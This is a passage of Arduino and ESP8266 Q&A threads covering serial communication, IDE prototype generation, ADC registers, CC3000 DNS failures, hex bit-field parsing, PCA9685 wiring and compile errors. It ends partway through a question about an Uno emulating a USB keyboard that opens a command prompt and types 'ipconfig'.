I've left 10 seconds delay between sending the GET requests but you have to decide if that is what you **really** want. You have to be aware that if the next data arrive in between sending the GET requests, the next string (number) will be concatenated with the previous one - and you do not want that to happen because such data wouldn't be meaningful. To avoid concatenation of the new with the old data, you have to remove `if` which is checking `millis()` to send the received data immediately.

Note: As I said, I can't test the code so I cannot guarantee it is 100% error free but you can check if it works so I can correct the mistakes if there are any.

---
Tags: serial, esp8266, communication, softwareserial
---


title: IDE does not create prototypes

text:
# Question
Title: IDE does not create prototypes
I'm running Arduino IDE 1.6.10 on Mac OS X 10.12.1. I read on the Arduino official sote that the IDE should create function prototypes for me, and it always did. But now I'm writing a 1500 lines program, with dozens of functions, and this tool wold be quite useful (although I obviously don't really need it)... and it doesn't work. Is that a known issue?

# Answer
Do yourself a favour and dont rely on those automatic tools.

Type your code and know every line you typed.

And give PlatformIO a try instead of the Arduino IDE. You will save yourself and coworkers a lot of grief.
> 0 votes

# Answer
There are some times when it can't make prototypes, and some when it just gets it plain wrong. It struggles if you do fancy things with any of your functions, such as adding attributes or using anything that's even slightly out of the ordinary.

Also sometimes it places the prototypes in completely the wrong place, especially if you are working with structs, etc.
> 0 votes

# Answer
Unfortunately various things make the prototype generation fail. I think they run a regexp on the code which doesn't detect all cases. Examples are:

* Function definition split over multiple lines
* Use of templates
* Use of user-defined types in a function definition

Here is one bug report:

https://github.com/arduino/Arduino/issues/472

It's not that hard to take your function definition and make a prototype out of it. It's good practice anyway to get into the habit of it. If you get into larger projects where functions are in different files you need to do this anyway.
> 0 votes

---
Tags: arduino-ide
---


title: Arduino (weird) ADC problem

text:
# Question
Title: Arduino (weird) ADC problem
I'm trying to read to voltage output of module ACS712. Here is my problem: The module outputs a voltage around 2.5V, however, arduino sends the value "1023" to the PC. (Gives a reading of 5V).

Arduino's analogRead function works, however, is slow so I used atmega registers to solve the issue. Which worked... Except only for the module. Here is the relevant part of my code:

Setup:

```
void setup() {
  ADMUX = 0xC0;
  ADCSRA = 0x8E;           // prescaler = 64
  ADCSRB = 0x40;
  sei();
  bitWrite(ADCSRA, 6, 1);    //This starts single converion.
  Serial.begin(250000);
}

```

Relevant ISR function:

```
ISR(ADC_vect) {
  sensorValue = ADCL;        // read adcl first. locks adc bytes.
  sensorValue += ADCH << 8;
  Serial.println((int)sensorValue);
  bitWrite(ADCSRA, 6, 1); // Set high so another conversion starts.
}

```

Now, this code runs as expected for another adc pin which is located at "A3", or in code:

```
ADMUX = 0xC3;

```

However, does not work for:

```
ADMUX = 0xC0;

```

Yes, I tried replacing the wires A0 and A3. This time "0xC0" works but "0xC3" doesn't. So my arduino somehow is resistant on reading the module output!

Also, this works on same hardware:

```
sensorValue = analogRead(A0);
Serial.println((int)sensorValue);

```

Arduino's analogRead runs as expected on same hardware.

So basically, the hardware seems okay, but there seems to be a problem with my code. I just can't read the modules output voltage and I'm all out of ideas. Can anyone help?

# Answer
> However, does not work for:
>
> ```
>  ADMUX = 0xC0;
>
> ```

See the datasheet:

An ADMUX of 0xC0 will be using a voltage reference of "Internal 1.1V Voltage Reference with external capacitor at AREF pin". Since you are supplying 2.5V that exceeds 1.1V and thus you get a reading of 1023.

---

> ```
>   Serial.println((int)sensorValue);
>
> ```

Also, don't do serial prints inside an ISR.
> 1 votes

---
Tags: arduino-uno, voltage-level, analogread, isr
---


title: Using ESP8266 core for Arduino

text:
# Question
Title: Using ESP8266 core for Arduino
I am working on a wireless sensor network project, in which data is collected at a central node using nRF24 modules and the `RFNetwork.h` library.

I want to post that to the internet using the famous ESP8266 module, which works fine when used as standalone and programmed with Arduino IDE. But the problem is how to transfer my data from Arduino to the ESP8266 as it only has one serial that is already used to program it?

I have tried to use a nRF24 module that uses SPI with an ESP-12 as it has an SPI header, but it didn't work out and I can't figure out the problem. Is there a way to use ESP core libraries like `esp8266wifi.h`, `wifiClient.h`, `webserver.h` etc., just like we can use the `esp8266.h` library that uses AT commands to communicate to ESP from an Arduino like in a master-slave manner?

# Answer
> 1 votes
Several solutions:

1. Are your SPI components 5V or 3.3V parts? The ESP8266 is 3.3V only, and is NOT 5V-tolerant; you may have already fried it.
2. In most cases that I've had problems with SPI with the ESP8266 (in particular, the Adafruit 8266-12E HUZZAH board), they went away when I drastically lowered the SPI speed to 8000000.
3. Once you've programmed the 8266, and assuming you don't use `Serial` for debugging output, it's free to use to communicate with the world. Again, be careful about signal levels -- the 8266 is NOT 5V-tolerant, and most arduinos have 5V signals. So either use a 3.3V arduino-like part (my favorite is the Teensy 3.2 for larger projects, and the Adafruit Trinket for smaller ones), or use a level converter. If you need debugging output, you can still use `Serial1` for output only (and don't forget to change its bit rate -- by default it's something crazy like 74380bps).
4. Run the 8266 as another SPI slave and have the Arduino write to it. Or come up with your own serial protocol! Again, careful about signal levels.
5. You can use a different version of the 8266 (or another wifi chip), one that's already meant to be used with the Arduino. Sparkfun and Adafruit have several, as do a lot of other vendors.

I'd still suggest that you try to work out the SPI problems and stick to the 8266.

Also, don't forget that neither serial nor SPI guarantees data integrity. Always use a CRC to make sure your data were transferred correctly, and have some provision for retransmissions if you can't afford to just ignore corrupted data.

/ji

# Answer
> 0 votes
(It sounds like you have already used the esp8266 so I hope this background isn't too simple, but I'm not sure from your question where you're stuck.)

The ESP8266 modules are programmable. They are (usually) delivered with an application program installed that uses the manufacturer-defined set of "AT\<something\>" commands to operate it as a WiFi station or access point. There are code libraries for Arduinos or other computers to set it up and use it that way.

You can use its one serial port for either job - communicating to its current application program (interpreter, or your own custom program), much as you do an Arduino's port.

You can program your entire application on the chip and operate its WiFi radios directly, just as the AT-command interpreter does. You'll need the specs for programming the radios though; the AT-interpreter does that for you. Once you've loaded an application program of your own, it replaces the interpreter. To put it back to as-delivered, with the AT-command interpreter running in it, you'll need to re-upload the interpreter (which of course will replace anything else you've loaded).

# Answer
> 0 votes
Seems like you have several options:
1. Find a nRF24 library that works on ESP with the "arduino core" or port one yourself.
2. Implement your own Arduino-to-ESP protocol, using Serial (SoftwareSerial if needed), I2C or whatever.
3. Flash the ESP with the standard AT commands firmware and command it from the Arduino.
IMO, option 1 is best (you would ditch the Arduino completely), but may require significant effort.
Option 2 is academically better than option 3, as it will skip the hassle of dealing with AT commands on the Arduino side and will eventually be more efficient in terms of data bandwith between the Arduino and the ESP. In practice, it probably won't matter.
Option 3 might be the easiest - as much as I dislike the AT commands, they work and you won't have to program two devices constantly while developing your code.
So, in short, if you can go with Option 1 - please do so :)
If not - quickly asses which one will be easier / better for you - option 2 or option 3 and just go with it. Both will work, and are relatively easy to achieve.

# Answer
> 0 votes
> ...but the problem is how to transfer my data from Arduino to the ESP8266 as it only has one serial that is already used to program it.

1. After you flash a new firmware serial port becomes free so you can use it for whatever you like.
2. ESP8266 has two serial ports, not only one (although you can use only TX pin from the second one as RX is connected to SPI bus of the flash).
3. You can use any free GPIOs for software serial communication.

You can find the details about ESP8266's serial porth here, here, here and here.

---
Tags: arduino-ide, esp8266, nrf24l01+, web-server
---


title: 2 if-else in one program

text:
# Question
Title: 2 if-else in one program
Hey guys i have made an automatic plant watering system. Its really basic. the code is:-

```
char yo = 0;
void setup() {
  pinMode(2, INPUT);//moisture sensor
  pinMode(3, OUTPUT);// pump
  Serial.begin(9600);
}

void loop() {
  yo = digitalRead(2);
  if(yo == 1){
      digitalWrite(3,HIGH);
      Serial.println("Plant is Being Watered as the soil is dry");
      delay(5000);
    }
  else{
      digitalWrite(3,LOW);
      delay(5000);
      Serial.println("the plant has sufficient water");
    }
}

```

The thing that i want to add is.. i want to add a feature which can manually control it with bluetooth but the normal program should also be running. for eg. soil is wet but i want to add more water so i write 9 on the blueterm app which starts the pump for 2 seconds. I am using an HC-05 bluetooth module. can someone tell me how this can work on an arduino?

EDIT!
Sketch 2:

```
char ha;
void setup() {
  pinMode(3, OUTPUT); //pump
  Serial.begin(9600);
}

void loop() {
 ha = Serial.read();
 if(ha == 5){
    digitalWrite(3, HIGH);
    delay(2000);
  }
 else{
    digitalWrite(3,LOW);
  }
}

```

# Answer
> 1 votes
```
char ha;
void setup() {
  pinMode(3, OUTPUT); //pump
  Serial.begin(9600);
}

void loop()
{

  //.:.bluetooth control block
  if (Serial.available()) //check serial data availability
  {
    ha = Serial.read();
    if(ha == '9') //received data is char '9'
    {
      digitalWrite(3, HIGH); //turn on
      delay(2000);
      digitalWrite(3, LOW); //turn off
    }
  }
  else
  {
    //.:.manual control block
    if(digitalRead(2)){
      digitalWrite(3,HIGH);
      Serial.println("Plant is Being Watered as the soil is dry");
      delay(5000);
      digitalWrite(3,LOW);
    }
  }
}

```

---
Tags: arduino-uno, serial, programming, sensors, bluetooth
---


# Question
Title: getHostByName always failing to find a valid ip
I'm using an arduino Uno and a CC3000 wifi shield. I installed Adafruit library in arduino to get access to Wifi network. I'm currently trying to run some samples that comes with the library. It successfully connects to Wifi network and returns

```

IP Addr: 192.168.137.101
Netmask: 255.255.255.0
Gateway: 192.168.137.10
DHCPsrv: 0.0.0.0
DNSserv: 8.8.8.8
localhost -> 172.217.22.46

Pinging 172.217.22.46...0 replies

```

But when it tries to connects to a remote service like "www.adafruit.com" or "www.google.com" it assigns ip to 0 which means the host ip unknown. My wifi-hotspot is capable of providing internet connection. Can anyone please tell me what can I do to access remote web site through Wifi from this configuration. Setup method of one of the sample codes that I tried is mentioned below.

```
void setup(void)
{
  Serial.begin(115200);
  Serial.println(F("Hello, CC3000!\n"));

  displayDriverMode();
  Serial.print("Free RAM: "); Serial.println(getFreeRam(), DEC);

  /* Initialise the module */
  Serial.println(F("\nInitialising the CC3000 ..."));
  if (!cc3000.begin())
  {
    Serial.println(F("Unable to initialise the CC3000! Check your wiring?"));
    while(1);
  }

  uint16_t firmware = checkFirmwareVersion();
  if (firmware < 0x113) {
    Serial.println(F("Wrong firmware version!"));
    for(;;);
  }

  displayMACAddress();

  /* Optional: Get the SSID list (not available in 'tiny' mode) */
#ifndef CC3000_TINY_DRIVER
  listSSIDResults();
#endif

  /* Delete any old connection data on the module */
  Serial.println(F("\nDeleting old connection profiles"));
  if (!cc3000.deleteProfiles()) {
    Serial.println(F("Failed!"));
    while(1);
  }

  char *ssid = WLAN_SSID;             /* Max 32 chars */
  Serial.print(F("\nAttempting to connect to ")); Serial.println(ssid);

  if (!cc3000.connectToAP(WLAN_SSID, WLAN_PASS, WLAN_SECURITY)) {
    Serial.println(F("Failed!"));
    while(1);
  }

  Serial.println(F("Connected!"));

  /* Wait for DHCP to complete */
  Serial.println(F("Request DHCP"));
  while (!cc3000.checkDHCP())
  {
    delay(100); // ToDo: Insert a DHCP timeout!
  }

  while (! displayConnectionDetails()) {
    delay(1000);
  }

#ifndef CC3000_TINY_DRIVER
  /* Try looking up www.adafruit.com */
  uint32_t ip = 0;
  Serial.print(F("www.adafruit.com -> "));
  while  (ip  ==  0)  {
    if  (!  cc3000.getHostByName("www.adafruit.com", &ip))  {
      Serial.println(F("Couldn't resolve!"));
    }
    delay(500);
  }
  cc3000.printIPdotsRev(ip);
  Serial.print(F("\n\rPinging ")); cc3000.printIPdotsRev(ip); Serial.print("...");
  uint8_t replies = cc3000.ping(ip, 5);
  Serial.print(replies); Serial.println(F(" replies"));
  if (replies)
    Serial.println(F("Ping successful!"));
#endif
  Serial.println(F("\n\nClosing the connection"));
  cc3000.disconnect();
}

```

# Answer
My CC3000 wifi shield was not working correctly. So I replaced wifi shield with a new one and solved the problem. It is very hard to identify a hardware fault when it is partially working. It seems that CC3000 connecting to the WIFI network. That confuses me. But when I read about the problem and tried replacing with a new board which was successful. By the way I learnt that this same problem can be occur when you are using a public wifi connection (example- University Wifi Connection). This question is a good source that answers the 2nd kind of problem.
> 0 votes

---
Tags: arduino-uno, wifi, adafruit
---


title: Arduino IDE automatic tools

text:
# Question
Title: Arduino IDE automatic tools
I know that the Arduino IDE does some simple tasks automatically: for example it creates function prototypes, but this function sometimes fails.

Does that IDE run other hidden "pre-precompiler" tasks?

Is there a way to disable them? (this question refers especially to the function prototypes creator).

# Answer
The IDE runs a "preprocessing" routine. As well as adding prototypes it also:

* Adds `#include <Arduino.h>` to the start of your sketch
* Removes comments (or the older versions did, I am not sure about arduino-builder)
* Identifies the libraries #included in the sketch

The latter is used to build the list of `-I ...` directories to add to the command line. Removing of comments was chiefly to make finding functions easier for making function prototypes (though there are better ways of doing both those and arduino-builder might use them).

Can you disable it? No. Not for `.ino` files. However, any `.cpp` files added to your project are treated as vanilla C++ source code and aren't preprocessed in this way.
> 2 votes

---
Tags: arduino-ide
---


title: Extracting bits from hex encoded binary

text:
# Question
Title: Extracting bits from hex encoded binary
I've been using an Adafruit Huzzah ESP8266 Breakout to read data from an OpenTherm Gateway connected to my central heating unit, and publish that to MQTT. I'm programming the ESP8266 using the Arduino IDE.

The gateway publishes messages to the ESP8266 via serial. These messages look like this: `T901812F3` or `B501812F3`

The first letter indicates whether the message comes from the thermostat or the boiler, while the remaining characters represent four bytes, hexadecimally encoded.

These four bytes are structured as follows:

I'm trying to extract the MSG-TYPE, DATA-ID, and DATA-VALUE from the four bytes, but I'm getting weird (to me) results. I'm new to Arduino and C in general.

I'm familiar with PHP, and extracting the data using that is easy:

```
$decimal = hexdec(substr("B501812F3", 1));      // 1343754995
$messageType = (($decimal & 0x70000000) >> 28); // 5
$dataId = (($decimal & 0x00FF0000) >> 16);      // 24
$dataValue = ($decimal & 0x0000FFFF);           // 4851

```

However when I try something similar in the Arduino IDE, and upload it an Arduino, I get a different result:

```
void setup() {
    Serial.begin(9600);
    delay(500);

    parseLine("B501812F3");
}

parseLine(char* message) {
    // Extract data
    char messageType;
    unsigned long data;
    int numberExtracted = sscanf(message, "%c%08x", &messageType, &data);

    // Decompose a single message
    int flag = (int) ((data & 0x70000000) >> 28);
    unsigned char openThermId = (unsigned char)((data & 0x00FF0000) >> 16);
    unsigned short openThermPayload = (unsigned short)(data & 0x0000FFFF);

    Serial.println(data);             // 4851
    Serial.println(flag);             // 0
    Serial.println(openThermId);      // 0
    Serial.println(openThermPayload); // 4851
}

```

I (perhaps incorrectly) assume that the effect will be the same when I upload the code to an ESP8266.

What am I missing here? I suspect it has something to do with the different max integer value on the Arduino, but I'm not really sure how to proceed.

# Answer
You're best off using `strtoul()`:

```
messageType = message[0];
uint32_t data = strtoul(message + 1, NULL, 16);

```

The trick here is that `message` is just an array, so you can get the first letter with `message[0]`. Also, since C arrays are themselves just pointers to blocks of memory, `message + 1` actually points to the location in memory of `message[1]`, so you start processing the numbers from the second character in the string, thus omitting the first letter.

`strtoul()` takes a third parameter which is the *base* to decode from - 16 in this case for hexadecimal.

From there you can then use your bit shifting and masking to slice up your 32-bit value into your required sub values.
> 1 votes

# Answer
A C/C++ struct with bit-fields can sometimes be an effective solution to this type of problem. The bit-field order depends on the endianness of the CPU. AVR uses little-endian order and thus the fields are from right to left.

```
union msg_t {
  struct {
    uint16_t value;
    uint8_t id;
    uint8_t spare:4;
    uint8_t type:3;
    uint8_t parity:1;
  };
  uint32_t as_uint32;
};

```

A simple test sketch to verify:

```
void setup() {
  Serial.begin(9600);
  while (!Serial);
  msg_t msg;
  msg.uint32 = 0x501812f3;
  Serial.println(msg.parity);   // 0
  Serial.println(msg.type);     // 5
  Serial.println(msg.spare);    // 0
  Serial.println(msg.id);       // 24
  Serial.println(msg.value);    // 4851
}

void loop() {
}

```
> 0 votes

---
Tags: esp8266
---


# Question
Title: PCA9685 seemingly no PWM output Arduino Uno when attempting to do LED dimming
Just for a quick test I've wired up the Arduino to a PCA9685 board (similar to http://www.ebay.com.au/itm/PCA9685-16-Channel-12-bit-PWM-Servo-motor-Driver-I2C-Module-For-Arduino-Robot-AU-/162059198475?hash=item25bb7b200b:g:S7IAAOSw9ZdXKa7h) as follows

* 5v \> Vcc & V+
* GND \> GND
* A4 \> SDA
* A5 \> DCL
* OE \> Not connected

I've wired a 1k resistor in series and an LED in between PWM0 and GND

The same LED dims fine when powered directly via PWM from the Arduino.

The power light on both boards come on and +5v is available at the V+ pins.

The library I'm attempting to use is https://github.com/kasperskaarhoj/PCA9685-Arduino-Library and from what I can tell the I2C address I've configured "works"

The sketch I'm trying to run is (which is one of the example sketches with the address I2C altered):

```
#include <Wire.h>
#include <PCA9685.h>

PCA9685 ledDriver;

void setup()
{
  Serial.begin(9600); // set up serial
  Serial.println("Serial Started");

  Wire.begin();           // Wire must be started!
  ledDriver.begin(B000000);  // Address pins A5-A0 set to B111000
  Serial.println(ledDriver.init());

}

void loop()
{
  // Notice: setLEDDimmed cannot be used in a loop to give you a pleasant
  // "turning-up" of the LED. This is because each time you set a level for a LED
  // it will calculate random timing intervals for the PWM function in the chip
  // This is done in order to distribute current consumptions of the full time period.
  for(int level=5;level>=0;level--)  {
    for(int i=0; i<16; i++)  {
      ledDriver.setLEDDimmed(i,level*20);
      delay(100);
    }
  }
  for(int level=0;level<=5;level++)  {
    for(int i=0; i<16; i++)  {
      ledDriver.setLEDDimmed(i,level*20);
      delay(100);
    }
  }
}

```

Serial monitor outputs: Serial Started 1

So it looks like the device is detected and I expect that the commands are sent but nothing happens.

I've also tried one other library and setting the duty cycle to 100% on/off just to see if I could get output with no luck. It just seems that all the PWM pins are dead. I also tried wiring up the OE pin and setting it high/low with no luck.

Any thoughts on how I might be able to get the board to output something or how I can test further would be appreciated. I'm beginning to think that maybe the IC is damaged as I've tried most the pins with no luck.

I'm out of ideas and haven't worked with I2C or PCA9685's before at all so any help would be appreciated :)

# Answer
The LED should be (with its inline current limiting resistor) between VDD and the LED pin, not to ground - and then configure the pin for Open Collector mode.
> 2 votes

---
Tags: arduino-uno, led, i2c, pwm
---


# Question
Title: I seem to be having trouble with these libraries and the Arduino 101. Can anyone look at my output and tell me what I should do?
I'm not finding many resources out there. I already tried using new versions of "TFTv2.h" and "TFTv2.cpp", but I don't think much of anything changed in my output.

These are the libraries I'm trying to use. The sketch I'm trying to compile for the 101 is empty except for these lines and an empty setup() and loop().

```
#include <stdint.h>
#include <TFTv2.h>//For Seedstudio Touch
#include <SPI.h>
#include <SeeedTouchScreen.h>   //Seedstudio LCD touch screen Library File
#include <SD.h>//For Seedstudio Touch
#include <XBee.h>   //Zigbee Wireless transciever Library File
#include <Printers.h>   //Zigbee Wireless transciever Library File

```

Basically I need to know whether I need to find replacements or workarounds for these libraries. Compiling for the 101 in Visual Studio, I get a lot of output messages that I don't get when compiling for the Mega. I have more-or-less no idea what they mean.

I'll go ahead and paste the non-verbose output here. Thanks for your advice! Let me know if I should add the verbose output, and I'll post it right away.

# output (non-verbose);

```
Compiling debug version of 'Arduino_101trial' for 'Arduino/Genuino 101'
Sd2Card.cpp:In member function 'uint8_t Sd2Card::readData(uint32_t, uint16_t, uint16_t, uint8_t*)
Sd2Card.cpp:379:12: warning: unused variable 'n' [-Wunused-variable]
:uint16_t n
SdFile.cpp:In static member function 'static uint8_t SdFile::make83Name(const char*, uint8_t*)
SdFile.cpp:261:15: warning: unused variable 'b' [-Wunused-variable]
:uint8_t b
SdFile.cpp:In member function 'uint8_t SdFile::rmRfStar()
SdFile.cpp:907:40: warning: comparison between signed and unsigned integer expressions [-Wsign-compare]
:if (curPosition_ != (32*(index + 1))) {
TFTv2.cpp:In member function 'void TFT::drawString(char*, short unsigned int, short unsigned int, short unsigned int, short unsigned int)
TFTv2.cpp:388:18: warning: value computed is not used [-Wunused-value]
:*string++
SeeedTouchScreen.cpp:In file included from
pins_arduino.h:39:14: error: 'uint8_t' does not name a type
:static const uint8_t SS   = 10
pins_arduino.h:40:14: error: 'uint8_t' does not name a type
:static const uint8_t MOSI = 11
pins_arduino.h:41:14: error: 'uint8_t' does not name a type
:static const uint8_t MISO = 12
pins_arduino.h:42:14: error: 'uint8_t' does not name a type
:static const uint8_t SCK  = 13
pins_arduino.h:44:14: error: 'uint8_t' does not name a type
:static const uint8_t SDA = 18
pins_arduino.h:45:14: error: 'uint8_t' does not name a type
:static const uint8_t SCL = 19
pins_arduino.h:46:14: error: 'uint8_t' does not name a type
:static const uint8_t LED_BUILTIN = 13
pins_arduino.h:48:14: error: 'uint8_t' does not name a type
:static const uint8_t A0 = 14
pins_arduino.h:49:14: error: 'uint8_t' does not name a type
:static const uint8_t A1 = 15
pins_arduino.h:50:14: error: 'uint8_t' does not name a type
:static const uint8_t A2 = 16
pins_arduino.h:51:14: error: 'uint8_t' does not name a type
:static const uint8_t A3 = 17
pins_arduino.h:52:14: error: 'uint8_t' does not name a type
:static const uint8_t A4 = 18
pins_arduino.h:53:14: error: 'uint8_t' does not name a type
:static const uint8_t A5 = 19
pins_arduino.h:55:14: error: 'uint8_t' does not name a type
:static const uint8_t ATN = 20
Arduino.h:In file included from
wiring_private.h:from
SeeedTouchScreen.cpp:from
SeeedTouchScreen.cpp:In member function 'Point TouchScreen::getPoint()
SeeedTouchScreen.cpp:94:25: warning: cast to pointer from integer of different size [-Wint-to-pointer-cast]
:*portOutputRegister(yp_port) &= ~yp_pin
variant.h:in definition of macro 'portOutputRegister
:#define portOutputRegister(port)  (uint32_t*)port
SeeedTouchScreen.cpp:95:25: warning: cast to pointer from integer of different size [-Wint-to-pointer-cast]
:*portOutputRegister(ym_port) &= ~ym_pin
variant.h:in definition of macro 'portOutputRegister
:#define portOutputRegister(port)  (uint32_t*)port
SeeedTouchScreen.cpp:100:25: warning: cast to pointer from integer of different size [-Wint-to-pointer-cast]
:*portOutputRegister(xp_port) |= xp_pin
variant.h:in definition of macro 'portOutputRegister
:#define portOutputRegister(port)  (uint32_t*)port
SeeedTouchScreen.cpp:101:25: warning: cast to pointer from integer of different size [-Wint-to-pointer-cast]
:*portOutputRegister(xm_port) &= ~xm_pin
variant.h:in definition of macro 'portOutputRegister
:#define portOutputRegister(port)  (uint32_t*)port
SeeedTouchScreen.cpp:127:25: warning: cast to pointer from integer of different size [-Wint-to-pointer-cast]
:*portOutputRegister(xp_port) &= ~xp_pin
variant.h:in definition of macro 'portOutputRegister
:#define portOutputRegister(port)  (uint32_t*)port
SeeedTouchScreen.cpp:130:25: warning: cast to pointer from integer of different size [-Wint-to-pointer-cast]
:*portOutputRegister(yp_port) |= yp_pin
variant.h:in definition of macro 'portOutputRegister
:#define portOutputRegister(port)  (uint32_t*)port
SeeedTouchScreen.cpp:153:25: warning: cast to pointer from integer of different size [-Wint-to-pointer-cast]
:*portOutputRegister(xp_port) &= ~xp_pin;            \\ Set X+ to ground
variant.h:in definition of macro 'portOutputRegister
:#define portOutputRegister(port)  (uint32_t*)port
SeeedTouchScreen.cpp:154:25: warning: cast to pointer from integer of different size [-Wint-to-pointer-cast]
:*portOutputRegister(ym_port) |=  ym_pin;            \\ Set Y- to VCC
variant.h:in definition of macro 'portOutputRegister
:#define portOutputRegister(port)  (uint32_t*)port
SeeedTouchScreen.cpp:155:25: warning: cast to pointer from integer of different size [-Wint-to-pointer-cast]
:*portOutputRegister(yp_port) &= ~yp_pin;            \\ Hi-Z X- and Y+
variant.h:in definition of macro 'portOutputRegister
:#define portOutputRegister(port)  (uint32_t*)port
Error compiling libraries

```

# Answer
So it looks like you have some warnings in `Sd2Card.cpp`, `SdFile.cpp`, `TFTv2.cpp`
For the most part you can ignore these warnings

As for `SeeedTouchScreen.cpp` it looks like you're getting Errors for pins. `does not name a type` means that `uint8_t` is not a type Visual Studio understands.

Then further down you're getting another warning for `SeeedTouchScreen.cpp`
`cast to pointer from integer of different size`

Did you make sure that whatever board you're using is compatible with these libraries?

---

The Arduino Mega has 54 digital input/output pins (of which 14 can be used as PWM outputs), 16 analog inputs, 4 UARTs (hardware serial ports)

The 101 comes with 14 digital input/output pins (of which 4 can be used as PWM outputs), 6 analog inputs.

This means that if your libraries are designed for the Mega and no other board you will run into these errors
> 1 votes

---
Tags: 101
---


title: How to set timeout?

text:
# Question
Title: How to set timeout?
Want to implement timeout for RPS counter after for instance 1 second. Since here I use status change for RPS calculation, I suppose that if the state is either HIGH or LOW for more than one seconds then rps should return 0.

However, it does not work. What is the problem.

```
float rps[4]={0.00,0.00,0.00,0.00};
unsigned long int PRINT_PERIOD = 1000;
unsigned long int lastTimePrinted = 0;
int lastReedState[4];
unsigned long lastTransition[4]={0,0,0,0};
//int reedState[4];
//unsigned long now[4]={0,0,0,0};
float rps_result[4]={0,0,0,0};
float rps_resul[4];
//unsigned long revolutionTime[4]={0,0,0,0};

unsigned long int LT;  // Last Time
unsigned long int PT;  // Passed Time
unsigned long int TT;  // Time

void setup(){

 Serial.begin(9600);

 DDRD &= ~_BV (7); // pinMode (7, INPUT);       // rps_1
 DDRB &= ~_BV (0); // pinMode (8, INPUT);       // rps_2
 DDRC &= ~_BV (1); // pinMode (A1, INPUT);      //  rps_3
 DDRD &= ~_BV (2); // pinMode (2, INPUT);       //  rps_4

delay(85);

}

float rps_out(int k){

    //static int lastReedState;
    //static unsigned long lastTransition;
    //static float rps_result;
    //float rps_result;
    int reedState;
    unsigned long now;
    unsigned long revolutionTime;

   if ( k == 0 )     reedState = (PIND & _BV (7)) == 0; // digitalRead (7);
   else if ( k==1 )  reedState = (PINB & _BV (0)) == 0; // digitalRead (8);
   else if ( k==2 )  reedState = (PINC & _BV (1)) == 0; // digitalRead (A1);
   else if ( k==3 )  reedState = (PIND & _BV (2)) == 0; // digitalRead (2);

    // On a rising transition of the reed switch:
    if (reedState == HIGH && lastReedState[k] == LOW) {                   // HIGH  LOW   measuring the low period    // LOW HIGH measuring the high period
        // Compute time since last valid transition.
        //unsigned long now = micros();
        //unsigned long revolutionTime = now - lastTransition;       // measuring the High period
         now = micros();
         revolutionTime = now - lastTransition[k];       // measuring the High period
        // Compute the rps

        //if(revolutionTime[k] == 0 ) return 0;

        if(revolutionTime == 0 ) rps_result[k] = 0;     // avoid deviding by zero

         rps_result[k] = 1.00 / (12.00*revolutionTime) *1000000.00;  // 12 is rotary encoders resolution

        // Remember this transition.
        lastTransition[k] = now;

    }

    // Remember last state.
    lastReedState[k] = reedState;

////////////////////////////////////////////////////////////   timeout

    if(reedState == HIGH || reedState == LOW  ) {

       PT = millis();
       TT = PT - LT;
    if( TT > 1000)  rps_result[k] = 0;

     LT = PT;

}

//////////////////////////////////////////////////////////////////

    if(rps_result[k] < 1) return 0.00;
    return rps_result[k];

}

void loop() {

   rps[0] = rps_out(0);
   rps[1] = rps_out(1);
   rps[2] = rps_out(2);
   rps[3] = rps_out(3);

    if (millis() - lastTimePrinted >= PRINT_PERIOD) {

     Serial.print(rps[0]);
     Serial.print(',');
     Serial.print(rps[1]);
     Serial.print(',');
     Serial.print(rps[2]);
     Serial.print(',');
     Serial.println(rps[3]);

      lastTimePrinted = millis();

     }

}

```

# Answer
> 1 votes
Since you need less that 1 second between changes, the minimal RPS would be 60.

So just change `if(rps_result[k] < 1) return 0.00;` to `if(rps_result[k] < 60) return 0.00;`

---
Tags: arduino-uno, programming
---


# Question
Title: Arduino Uno as a HID the letters duplicate
This is my current result.
I don't know how to solve this. This is my code:

```
//Modifier Keys
#define LEFT_CTRL   0x01
#define LEFT_SHIFT  0x02
#define LEFT_ALT    0x04
#define LEFT_GUI    0x08
#define RIGHT_CTRL  0x10
#define RIGHT_SHIFT 0x20
#define RIGHT_ALT   0x40
#define RIGHT_GUI   0x80

//Keys
#define KEY_ENTER 0x28
#define KEY_BACKSPEACE 0x2A
#define KEY_TAB 0x2B
#define KEY_CAPSLOCK 0x39
//keyPress(RIGHT_ALT, 0x1F);

uint8_t buf[8] = { 0 }; //buffer

void setup()
{
  Serial.begin(9600);
  delay(600);
  keyPress(LEFT_GUI, 0x15); // Windows keys + R
  keyRelease();
  delay(200);
  keyString("cmd");
  delay(500);
  keyPress(0, KEY_ENTER);
  keyRelease();
  delay(500);
  keyString("ipconfig");
  delay(500);
  keyPress(0, KEY_ENTER);
  keyRelease();
}

void loop()
{
  //keyString("abcdefghijklmnopqrstuvwxyz ABCDEFGHIJKLMNOPQRSTUVWXYZ 1234567890 - = [] \\ ; ' , . / !@#$%^&*()_+ {}|; \" <> ?"); // <---test key
}

void keyRelease()
{
  buf[0] = 0;
  buf[2] = 0;
  Serial.write(buf, 8); // Release key
}

void keyString(String text) {
  char alpha[] = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z'};
  int mean_dic[] = {4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29};
  //                                                                                39    61    91    93    44    46    45    32    43
  char normal_sym[] =     { '1',  '2',  '3',  '4',  '5',  '6',  '7',  '8',  '9',  '0',  '\'',  '¡',  '[',  '+', 'ñ',  ',',  '.',  '-',  ' ',  '+'};
  int mean_normal_sym[] = {0x1E, 0x1F, 0x20, 0x21, 0x22, 0x23, 0x24, 0x25, 0x26, 0x27,  0x2D, 0x2E, 0x2F, 0x30, 0x33 ,0x36, 0x37, 0x38, 0x2C, 0x57};

  char shift_sym[] =     { '!',  '"',  '#',  '$',  '%',  '&',  '/',  '(',  ')',  '=',  '?',  '¿',  '°',  '*',  'Ñ', '{',   ';',  ':',  '_'};
  int mean_shift_sym[] = {0x1E, 0x1F, 0x20, 0x21, 0x22, 0x23, 0x24, 0x25, 0x26, 0x27, 0x2D, 0x2E, 0x2F, 0x30, 0x33, 0x34, 0x36, 0x37, 0x38};

/*  English Dic
  char alpha[] = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z'};
